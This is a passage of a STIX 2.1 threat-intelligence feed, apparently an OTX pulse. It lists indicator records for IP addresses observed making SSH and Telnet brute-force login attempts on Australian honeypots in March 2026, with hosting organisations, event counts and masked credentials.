      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): **, 3**********4, g*****y, j******a, **. Passwords observed (masked): 1***5, 3***********4, 3**********4, M***3, j******a.",
      "id": "indicator--91ffb409-c398-4def-8cd7-2af911d9d513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.185.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c6fbd370-fcac-4eff-b97a-bf965897fcde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.66.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, d****n, d****n, b****p. Passwords observed (masked): 1****e, 1*******y, 4**1, 5***1, 6****1.",
      "id": "indicator--e9f0654e-4d13-4011-94e0-7e4840e1dabb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.150.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V.. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--cb52912a-9610-4c11-9604-248da83a4e4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.77.172.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation.",
      "id": "indicator--4e0a8ba8-4930-4d7d-9b41-50cfc50583d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.111.178.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--913d763f-54c5-47fb-bd93-ff1e9a2b637c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.243.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--e90494e5-ffef-4a4e-b502-f74053743331",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.102.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T14:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **, 3**********4, a***********r, a***d, g*****y. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, a*******4.",
      "id": "indicator--af6d30c8-e559-4c95-9377-f18248721e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T14:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.131.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T14:15:16.000Z",
      "valid_until": "2026-04-19T14:15:11.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135845. Organisation(s): Krishiinet Infocom Private Limited.",
      "id": "indicator--a0053f02-8ea2-4110-9d3b-d2ebf99673b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.81.236.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fd0511d1-9cd0-41a7-9917-b4ccf567ffae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 686. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, u**r, f***k, ***. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--9c6395b0-29a8-40c8-b8ca-41618b5fdb6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.226.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 343. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): 3**********4, a***a, r**t, s******n, v*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, 1***5.",
      "id": "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.200.66.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): d****s, 3**********4, a***n, b*****n, **. Passwords observed (masked): 1**4, 1******8, 3***********4, 3**********4, S*******3.",
      "id": "indicator--e135c39e-8bc1-477e-ba7c-ffda18205b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.252.228.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 308. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--3386bfc8-8c63-4bb7-8964-72f4f12f5819",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.107.247.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T15:15:14.000Z",
      "valid_until": "2026-04-19T15:15:12.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, s****n. Passwords observed (masked): S*******3, a*****i.",
      "id": "indicator--db95755d-d326-40d5-a9bb-1f1374e6f9df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.143.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria.",
      "id": "indicator--9d1a2e4d-e8b6-4ce1-be0d-b87c4a1df106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.241.194.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--b3eee18e-7e7c-4cc2-9610-95e756fa619e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.3.223.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--98a6b5d1-2d58-422d-af65-b6602bafd5a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.246.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, x**y, 3**********4, ***, **. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, D*********9.",
      "id": "indicator--3796c8bf-8b8e-4ab6-8946-a32571b7e678",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.80.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 548. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, d*******r, ***. Passwords observed (masked): 1****6, 1**4, p******d, a****3, a***n.",
      "id": "indicator--9f9c49da-ca37-4916-b523-f5e49dbd3d1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.46.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 430. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, c***o, s*****t. Passwords observed (masked): a***n, 1**4, 1***5, 0*************7, 0********1.",
      "id": "indicator--728aefd8-ff19-4ac4-9d12-d66db22351d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 267843. Organisation(s): TCA SERVICES C.A.. Usernames observed (masked): s****a, 3**********4, b*******n, ***, i******t. Passwords observed (masked): 1******8, 1****0, ***, 1****1, 3***********4.",
      "id": "indicator--4f4fe90d-f920-4d2e-9c2b-bed3c61a4657",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.175.37.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, ***, 3**********4, a*****r, d*****p. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.68.226.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--16b7bf2e-5058-4385-a6fe-24b9a7b00957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.103.104.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T16:15:14.000Z",
      "valid_until": "2026-04-19T16:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--300b8ab9-5d70-40d3-8d35-d6712e2ce87f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.72.213.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--237bf5a8-168b-4b3a-8167-7f81f8df985a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): s****m, 3**********4, ***, c***i, ***. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, T******!.",
      "id": "indicator--9c788574-cbbc-4169-9dba-1a60cf9c6151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '155.4.244.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--397ed556-ce20-4552-bf15-ae63b9764ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.106.57.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): a**r, 3**********4, c****t, **, c***s. Passwords observed (masked): ***, 1**4, 1******8, 3***********4, 3**********4.",
      "id": "indicator--a178b668-ecb2-422d-9ec1-3a84dbaab095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.148.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--65a692c2-8839-480c-b4a6-0086e52e6fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f0b9f036-7a32-4b72-bdaa-f150bdda50c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.3.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T17:15:15.000Z",
      "valid_until": "2026-04-19T17:15:11.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): **, 3**********4, a*****x, c******r, d*****p. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, a*********!.",
      "id": "indicator--14525891-e61f-43ea-9c2b-e89e447e90cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.95.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): f*****r, 3**********4, a*******3, b********r, ***. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, A*******3.",
      "id": "indicator--f5247a3e-bb83-4ff4-b32f-d8082f588cfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.7.4.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
      "valid_until": "2026-04-19T18:15:12.000Z"
    },
    {
      "created": "2026-03-18T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): o********e, 3**********4, a**y, f******1, h***z. Passwords observed (masked): ***, 1**4, 1******8, 3***********4, 3**********4.",
      "id": "indicator--ca70df8c-9786-4d8a-9a2a-71b1c55a316a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.185.136.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T18:15:14.000Z",
